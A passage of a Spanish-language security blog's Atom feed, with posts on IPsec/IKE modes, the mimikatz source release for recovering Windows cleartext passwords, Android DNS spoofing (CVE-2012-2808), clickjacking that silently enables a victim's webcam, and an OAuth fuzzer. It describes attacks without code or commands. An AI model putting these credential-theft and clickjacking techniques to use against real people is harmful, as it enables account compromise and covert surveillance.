&lt;li&gt;&lt;b&gt;Internet Key Exchange (IKE)&lt;/b&gt;: Es el encargado de llevar a cabo el intercambio de claves que serán utilizadas por cualquiera de los otros dos protocolos.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
De la información anterior nos quedamos con que:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;IKE se ejecuta primero&lt;/b&gt; y, de llegar a realizar correctamente la autenticación, entonces se realiza un túnel (ESP) o simplemente se autentican los paquetes (AH). Por lo que frente a un concentrador de VPNs, tendremos que comenzar analizando el protocolo IKE.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AH no cifra&lt;/b&gt; las comunicaciones. Tan sólo ESP proporciona cifrado. Por lo que si la VPN funcionara tan sólo con AH, no se estaría cifrando ninguna comunicación entre los clientes y el concentrador de VPNs.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
El protocolo IKE funciona en dos fases. En la primera de ellas, se lleva a cabo la autenticación y se crea un canal seguro que será utilizado durante la fase dos. En la segunda fase se configura un canal diferente que será el utilizado para todas las comunicaciones realizadas a través de ESP o AH.&lt;br /&gt;
&lt;br /&gt;
La primera de las fases IKE, soporta dos modos de funcionamiento diferentes:&amp;nbsp;el &lt;i&gt;Main Mode&lt;/i&gt; y el &lt;i&gt;Aggressive Mode&lt;/i&gt;. El &lt;i&gt;Main Mode&lt;/i&gt;&amp;nbsp;es el modo principal (evidentemente) y todos los concentradores de VPN deben soportarlo. En este modo se utiliza el &lt;a href=&quot;http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange&quot; target=&quot;_blank&quot;&gt;algoritmo Diffie-Hellman&lt;/a&gt; para llevar a cabo el intercambio de claves entre el cliente y el servidor.&lt;br /&gt;
&lt;br /&gt;
El&amp;nbsp;&lt;i&gt;Aggressive Mode&lt;/i&gt;, a diferencia, no tiene por qué estar implementado en todos los servidores de VPN y se suele utilizar para permitir el uso de claves pre-compartidas (&lt;i&gt;Pre-Shared Key&lt;/i&gt;, PSK), &lt;strike&gt;ya que el &lt;i&gt;Main Mode&lt;/i&gt;&amp;nbsp;no soporta el uso de PSK&lt;/strike&gt;&amp;nbsp;(&lt;b&gt;actualización 27/01/2014&lt;/b&gt;: El &lt;i&gt;Main Mode &lt;/i&gt;sí soporta PSK, aunque es menos habitual que en el &lt;i&gt;Aggressive Mode&lt;/i&gt;). Este modo tiene ciertas debilidades que iremos viendo a lo largo del resto de entradas.</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/10/auditando-vpns-i-introduccion-ipsec.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/8077719106951981696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/8077719106951981696'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/10/auditando-vpns-i-introduccion-ipsec.html' title='Auditando VPNs (I): Introducción a IPsec'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU8-3dP51bAdO7PQWZwaPEwR9ZT3UeAg6eWyipxVQDmArVCOWGX8G1daDMS9r75eYEHOgQrsa1jf7ftYuOjQtl9shWJ_ZIv2b7v2T2qYAcLZn2UB-y7ZWVYlDYsiw1NMP1zWZ4msRmBIQn/s72-c/Candado.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-6287011152694479780</id><published>2012-08-02T12:12:00.000+02:00</published><updated>2012-08-02T12:21:01.670+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Codigo Fuente"/><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas"/><title type='text'>Publicado el código fuente de mimikatz</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://blog.gentilkiwi.com/wp-content/uploads/2012/08/kiwi_slices.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://blog.gentilkiwi.com/wp-content/uploads/2012/08/kiwi_slices.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Hace ya un tiempo que descubrí la herramienta &lt;a href=&quot;http://blog.gentilkiwi.com/mimikatz&quot; target=&quot;_blank&quot;&gt;mimikatz&lt;/a&gt; pero no había nunca escrito sobre ella porque ya lo hicismos desde &lt;a href=&quot;http://blog.s21sec.com/2012/02/se-acabo-el-pass-hash.html&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt;&amp;nbsp;y no quería repetir la noticia. También la gente de SbD habló hace muy poco &lt;a href=&quot;http://www.securitybydefault.com/2012/07/volcado-de-contrasenas-con-mimikatz.html&quot; target=&quot;_blank&quot;&gt;de ella&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
El caso, es que a día de hoy la herramienta no es muy conocida. En parte porque su autor, que es un investigador francés, no ha querido traducirla a otro idioma, pero&amp;nbsp;quizá también porque otra gente que ya tiene cierta influencia en este tipo de herramientas se ha dedicado a copiarla y a publicar sus propios derivados por los siete mares, dejando la original en el anonimato.&lt;br /&gt;
&lt;br /&gt;
La herramienta, para quien no la conozca, permite &lt;b&gt;recuperar las contraseñas en claro&lt;/b&gt; de todos los usuarios que hayan iniciado sesión en una máquina Windows. Esto significa que no hace falta recurrir al crackeo de los hashes o al Pass-the-Hash para acceder a otros sistemas.&lt;br /&gt;
&lt;br /&gt;
Tiene más funcionalidades como exportar certificados digitales que están marcados con el flag de &quot;No exportables&quot;,&amp;nbsp;extraer&amp;nbsp;el hash de los usuarios locales,&amp;nbsp;realizar Pass-the-Hash, hacer trampas en el buscaminas sabiendo dónde están las minas antes de jugar (una de mis favoritas :D), etc. Recuerdo que para que pueda extraer las contraseñas en claro el usuario debe haber iniciado sesión, así que para el resto de usuarios serán necesarios los hashes y el resto del procedimiento que esto implica.&lt;br /&gt;
&lt;br /&gt;
La buena noticia es, que depués de &lt;a href=&quot;http://blog.gentilkiwi.com/securite/mimikatz/sekurlsa-librairie-injecter?utm_source=rss&amp;amp;utm_medium=rss&amp;amp;utm_campaign=sekurlsa-librairie-injecter&quot; target=&quot;_blank&quot;&gt;varias entradas&lt;/a&gt; en su blog explicando resumidamente cómo accedía a las contraseñas cifradas a través de WDigest y las descifraba utilizando la API de Windows, &lt;b&gt;Gentilkiwi ha acabado publicando el código fuente de la herramienta&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://code.google.com/p/mimikatz/&quot;&gt;https://code.google.com/p/mimikatz/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Desde luego es una buena noticia ya que nos permitirá adaptar la herramienta y utilizar sus técnicas en otros proyectos además de aprender su funcionamiento interno.&lt;br /&gt;
&lt;br /&gt;
¿Qué os parece, ya tenéis alguna idea?&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/08/publicado-el-codigo-fuente-de-mimikatz.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6287011152694479780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6287011152694479780'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/08/publicado-el-codigo-fuente-de-mimikatz.html' title='Publicado el código fuente de mimikatz'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-3896983986179398280</id><published>2012-07-25T10:54:00.000+02:00</published><updated>2012-07-25T10:54:43.805+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidad"/><title type='text'>DNS Spoofing en Android (CVE-2012-2808)</title><content type='html'>Ayer se publicó una vulnerabilidad de DNS Spoofing (CVE-2012-2808) que afecta a todos los dispositivos Android con versiones del sistema operativo 4.0.4 y anteriores (la última versión 4.1.1 Jelly Bean que a día de hoy tan sólo usa el Nexus 7 no es vulnerable a este ataque).&lt;br /&gt;
&lt;br /&gt;
El ataque consiste en el uso de un algoritmo de generación de números pseudoaleatorios (PRNG) débil para calcular el puerto de origen del paquete que realiza la consulta DNS y el identificador TXID de dicha petición.&lt;br /&gt;
&lt;br /&gt;
Recordando cómo funciona el protocolo DNS, cada vez que se realiza una consulta DNS se genera un paquete que tiene un identificador único, el TXID, y se envía desde un puerto origen diferente cada vez. Ambos valores deben de ser aleatorios para evitar que un posible atacante pueda responder al cliente antes de que lo haga el servidor DNS legítimo.&lt;br /&gt;
&lt;br /&gt;
Ambos valores tienen una longitud de 32 bits que &quot;asegura&quot; que no se pueden predecir, pero investigadores de IBM han determinado que, con el algoritmo que utiliza Android, tan sólo 21 de esos bits son realmente aleatorios. La causa, que se utiliza la hora en milisegundos del dispositivos como una de las bases para generar el valor final. Esto unido a que cada consulta DNS tiene dos valores aleatorios (el TXID y el puerto) es relativamente sencillo estimar uno a partir del otro.&lt;br /&gt;
&lt;br /&gt;
Es más, depués de un determinado tiempo (en la PoC que han realizado es de unos 10 minutos), es posible predecir con una certeza suficientemente alta los próximos valores. A partir de ese momento es cuando se produciría el ataque DNS Spoofing ya que el atacante podría comenzar a responder al dispositivo móvil con el TXID y en el puerto origen correctos.&lt;br /&gt;
&lt;br /&gt;
Os dejo el vídeo con la PoC y el enlace con el &lt;i style=&quot;background-color: white;&quot;&gt;advisory&amp;nbsp;&lt;/i&gt;&lt;span style=&quot;background-color: white;&quot;&gt;oficial&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Resumen:&amp;nbsp;&lt;a href=&quot;http://blog.watchfire.com/wfblog/2012/07/android-dns-poisoning-randomness-gone-bad-cve-2012-2808.html&quot;&gt;http://blog.watchfire.com/wfblog/2012/07/android-dns-poisoning-randomness-gone-bad-cve-2012-2808.html&lt;/a&gt;&lt;br /&gt;
Paper:&amp;nbsp;&lt;a href=&quot;http://blog.watchfire.com/files/androiddnsweakprng.pdf&quot;&gt;http://blog.watchfire.com/files/androiddnsweakprng.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/ffnF7Jej7l0?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/07/dns-spoofing-en-android-cve-2012-2808.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/3896983986179398280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/3896983986179398280'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/07/dns-spoofing-en-android-cve-2012-2808.html' title='DNS Spoofing en Android (CVE-2012-2808)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7646492001184926960</id><published>2012-07-01T07:00:00.000+02:00</published><updated>2012-07-01T07:00:08.969+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Clickjacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>Client Side Attacks (IV): Clickjacking</title><content type='html'>&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (I): Introducción&lt;/a&gt;
&lt;b&gt;    &lt;/b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (II): Infectando Navegadores&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (III): Sacando provecho&lt;/a&gt;
&lt;b&gt;    Client Side Attacks (IV): Clickjacking&lt;/b&gt;
  ****************************************************&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Cerrando el tema que empecé hace ya tiempo sobre ataques del lado del cliente, hoy os voy a hablar del &lt;b&gt;Clickjacking&lt;/b&gt;. Un concepto acuñado a finales de 2008 a partir de un &lt;i&gt;&lt;a href=&quot;http://waterken.sourceforge.net/clickjacking/&quot; target=&quot;_blank&quot;&gt;paper&lt;/a&gt;&lt;/i&gt;&amp;nbsp;publicado por&amp;nbsp;Jeremiah Grossman y Robert Hansen.&lt;br /&gt;
&lt;br /&gt;
El concepto de Clickjacking es bastante sencillo, tan sólo consiste en incluir una página (vulnerable) dentro de otra (que trata de sacar provecho de la primera) por medio de un &lt;i&gt;&lt;a href=&quot;http://www.w3schools.com/tags/tag_iframe.asp&quot; target=&quot;_blank&quot;&gt;iframe&lt;/a&gt;&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Imaginad una página web en la que se realice una determinada tarea pulsando sobre tres botones numerados del 1 al 3. Un sitio malicioso podría incluir en un iframe a la página anterior y situar sobre el mismo iframe un panel que lo oculte con un contenido atractivo que haga que el usuario pulse en los botones en el orden que debe de hacerlo.&lt;br /&gt;
&lt;br /&gt;
Para seguir con el ejemplo, se podría solicitar al usuario que pulsara sobre los tres robots por orden: azul, rojo, verde (una vez se cuadraran ambos marcos):&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA9c2bs-hI0xP16H5CHsnxSlh31NxSyt7oV06ckR1ZOYR_npCjwqt6hrEx5cdkiag_05GKU3tl_wADWbKqry3pVNixnd0t5ZbNgexQanpxdejEZ325QQNJ2iZsfCbd8WiVxQRNua5mTyr9/s1600/PracticalClientSideAttacks_Figure_03.tif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;222&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA9c2bs-hI0xP16H5CHsnxSlh31NxSyt7oV06ckR1ZOYR_npCjwqt6hrEx5cdkiag_05GKU3tl_wADWbKqry3pVNixnd0t5ZbNgexQanpxdejEZ325QQNJ2iZsfCbd8WiVxQRNua5mTyr9/s320/PracticalClientSideAttacks_Figure_03.tif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Ejemplo de Clickjacking.&lt;/div&gt;
&lt;br /&gt;
Como os decía, el concepto es muy simple, el problema es llevarlo a la práctica ya que no basta con identificar sitios vulnerables, sino crear un contenido que resulte interesante a una posible víctima para que caiga en el engaño y ejecute la tarea oculta.&lt;br /&gt;
&lt;br /&gt;
Algunos ejemplos de posibles usos son hacer que se pulse sobre anuncios de publicidad (muchas empresas de publicidad pagan por pulsaciones), sobre botones &quot;+1&quot; o &quot;Me gusta&quot; (lo que se conoce como Likejacking), etc.&lt;br /&gt;
&lt;br /&gt;
Un ejemplo más interesante es el del siguiente vídeo, que bien podría ser un jueguecillo de matar marcianos, bastante cutre, en el que hay que ir pulsando sobre cada una de las naves que van apareciendo de manera aleatoria en el espacio:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/6Qy28-5HsqE?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora vemos lo que realmente está sucediendo cada vez que el usuario hace un click sobre cada una de las naves:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/AFNjtD-cqxk?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como veis, lo que el usuario está realmente haciendo es:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Habilitar el chat de iGoogle&lt;/li&gt;
&lt;li&gt;Agregar un nuevo contacto que ya le había mandado una invitación previa (éste sería el atacante).&lt;/li&gt;
&lt;li&gt;Abrir un chat con el contacto que acaba de añadir.&lt;/li&gt;
&lt;li&gt;Invitarle a realizar una video-llamada, lo que automáticamente acaba encendiendo la web cam del usuario cuando el atacante acepta la llamada.&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Todo ello transcurre sin que el usuario sea consciente de lo que está haciendo...&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Por desgracia, poca gente toma en serio esta vulnerabilidad y&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;aun&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;menos webmasters implementan medidas para evitarla (que pasa por incluir la cabecera HTTP X-Frame-Options en las URLs que se desean proteger).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
¿A vosotros también os parece una vulnerabilidad que menospreciar?</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/07/client-side-attacks-iv-clickjacking.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7646492001184926960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/7646492001184926960'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/07/client-side-attacks-iv-clickjacking.html' title='Client Side Attacks (IV): Clickjacking'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA9c2bs-hI0xP16H5CHsnxSlh31NxSyt7oV06ckR1ZOYR_npCjwqt6hrEx5cdkiag_05GKU3tl_wADWbKqry3pVNixnd0t5ZbNgexQanpxdejEZ325QQNJ2iZsfCbd8WiVxQRNua5mTyr9/s72-c/PracticalClientSideAttacks_Figure_03.tif" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-6396729730962503467</id><published>2012-06-25T08:00:00.000+02:00</published><updated>2012-06-25T08:00:07.368+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="OAuth"/><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>OAuzz, el fuzzer de OAuth</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDGVNx8RAP7ATCD9p_nlTBtXiB-r3Ew_EqoWxnV34w7QLC3_cVuX0M36mCyy_gBlYhLkJa19WAPXTUATqfjqhUFLaa1XtOmEF638xxahKXrND3iwGjT8efwrWrZRTAXp-YGgs6bLrfBP0B/s1600/oauzz_logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;96&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDGVNx8RAP7ATCD9p_nlTBtXiB-r3Ew_EqoWxnV34w7QLC3_cVuX0M36mCyy_gBlYhLkJa19WAPXTUATqfjqhUFLaa1XtOmEF638xxahKXrND3iwGjT8efwrWrZRTAXp-YGgs6bLrfBP0B/s320/oauzz_logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Después de todo este tiempo que he estado &quot;desaparecido&quot; por diversos motivos, he querido volver a lo grande, así que os presento en lo que he estado trabajando últimamente: &lt;b&gt;OAuzz&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Hace ya un tiempo os presenté el protocolo de autenticación &lt;b&gt;OAuth&lt;/b&gt; &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2011/07/el-protocolo-de-autenticacion-oauth-que.html&quot; target=&quot;_blank&quot;&gt;[1]&lt;/a&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2011/08/el-protocolo-de-autenticacion-oauth.html&quot; target=&quot;_blank&quot;&gt;[2]&lt;/a&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2011/08/el-protocolo-de-autenticacion-oauth_08.html&quot; target=&quot;_blank&quot;&gt;[3]&lt;/a&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2011/09/el-protocolo-de-autenticacion-oauth.html&quot; target=&quot;_blank&quot;&gt;[4]&lt;/a&gt; y cómo de necesario era en la época actual, donde gran parte de las aplicaciones que podemos encontrar en &lt;i&gt;markets&lt;/i&gt; usan servicios de otras grandes empresas (Google, Facebook, Twitter...) para ofrecer su servicio.&lt;br /&gt;
&lt;br /&gt;
El acceso a los servicios finales suele llevarse a cabo por medio de APIs que los proveedores de servicio ofrecen y es ahí donde se exige OAuth para llevar a cabo la autenticación.&lt;br /&gt;
&lt;br /&gt;
A la hora de tratar de analizar la seguridad de dichas APIs, nos encontramos un problema ya que cada petición tiene que ser firmada y hacerlo manualmente es realmente tedioso aunque existen &lt;a href=&quot;http://hueniverse.com/2008/10/beginners-guide-to-oauth-part-iv-signing-requests/&quot; target=&quot;_blank&quot;&gt;herramientas que te ayudan a hacerlo&lt;/a&gt;... Creedme, pasar unos 3 minutos para generar cada petición hace que se te quiten las ganas de realizarlo de manera manual (lo he vivido).&lt;br /&gt;
&lt;br /&gt;
Por ello me vi obligado a desarrollar &lt;b&gt;OAuzz, un fuzzer que permite auditar aplicaciones basadas en OAuth&lt;/b&gt;, ya que ella sola se encarga de firmar todas las peticiones que va realizando.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigmK_6bxfl3yDCwaZ-uHBg6TogZ5MfwmTAY6rz0FL6aDjszPZkpfWukhRD3nUYc5tA5a_X7Jo1ZxKl2o6cpaMDeu73tLhNzk2xafOp3YQUP1onNa24eOomNKaAZN0EZbTEvy3eBWFphbxv/s1600/01+Welcome.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigmK_6bxfl3yDCwaZ-uHBg6TogZ5MfwmTAY6rz0FL6aDjszPZkpfWukhRD3nUYc5tA5a_X7Jo1ZxKl2o6cpaMDeu73tLhNzk2xafOp3YQUP1onNa24eOomNKaAZN0EZbTEvy3eBWFphbxv/s320/01+Welcome.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Interfaz de OAuzz.&lt;/div&gt;
&lt;br /&gt;
OAuzz proporciona una consola desde la que se van introduciendo los diversos comandos o se puede llamar haciendo referencia a un script en donde ya estén definidos dichos comandos:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTOAr0iZE6zgztMpfg_6h9IVuX8Sj2Ga7LxVQe2HB-zcTBfV_PbBHEjR8bmLboKLczJ2elyRLWiRu2sW1ANQ4AOWCKvFz6sfyy3JamXgR41JrjNdc5GM9pkKuwz0wYvxmTXfrJjkCfq8kv/s1600/02+Launching_script.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTOAr0iZE6zgztMpfg_6h9IVuX8Sj2Ga7LxVQe2HB-zcTBfV_PbBHEjR8bmLboKLczJ2elyRLWiRu2sW1ANQ4AOWCKvFz6sfyy3JamXgR41JrjNdc5GM9pkKuwz0wYvxmTXfrJjkCfq8kv/s320/02+Launching_script.png&quot; width=&quot;306&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Llamando a OAuzz con un script.&lt;/div&gt;
&lt;br /&gt;
Al principio puede resultar un poco compleja, pero esto se debe a que hay que familiarizarse con los concepto de OAuth. Una vez se tenga claro cómo funciona el protocolo, OAuzz es muy sencilla de utilizar.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT5QtRnkfABEzAWhJz4HImeK_-9YBz24liNWYhb6vAkireC57Y5c6cnaBMwOOKaL_Ug7Pru9l_hpJ21PHvT8BbbCjYDBVwMeNmAWUOn_bIe69Fs7EsQAPr6EfUWT-UgR1Sv3LTa48QvunX/s1600/03+Fuzzing.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;319&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT5QtRnkfABEzAWhJz4HImeK_-9YBz24liNWYhb6vAkireC57Y5c6cnaBMwOOKaL_Ug7Pru9l_hpJ21PHvT8BbbCjYDBVwMeNmAWUOn_bIe69Fs7EsQAPr6EfUWT-UgR1Sv3LTa48QvunX/s320/03+Fuzzing.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Realizando el fuzzing sobre una URL.&lt;/div&gt;
&lt;br /&gt;
Podéis encontrar la herramienta y un pequeño manual de cómo utilizarla en su sitio de Google Code:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/oauzz/&quot;&gt;http://code.google.com/p/oauzz/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
En las próximas semanas iré publicando más información sobre esta herramienta y su funcionamiento.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/06/oauzz-el-fuzzer-de-oauth.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6396729730962503467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6396729730962503467'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/06/oauzz-el-fuzzer-de-oauth.html' title='OAuzz, el fuzzer de OAuth'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 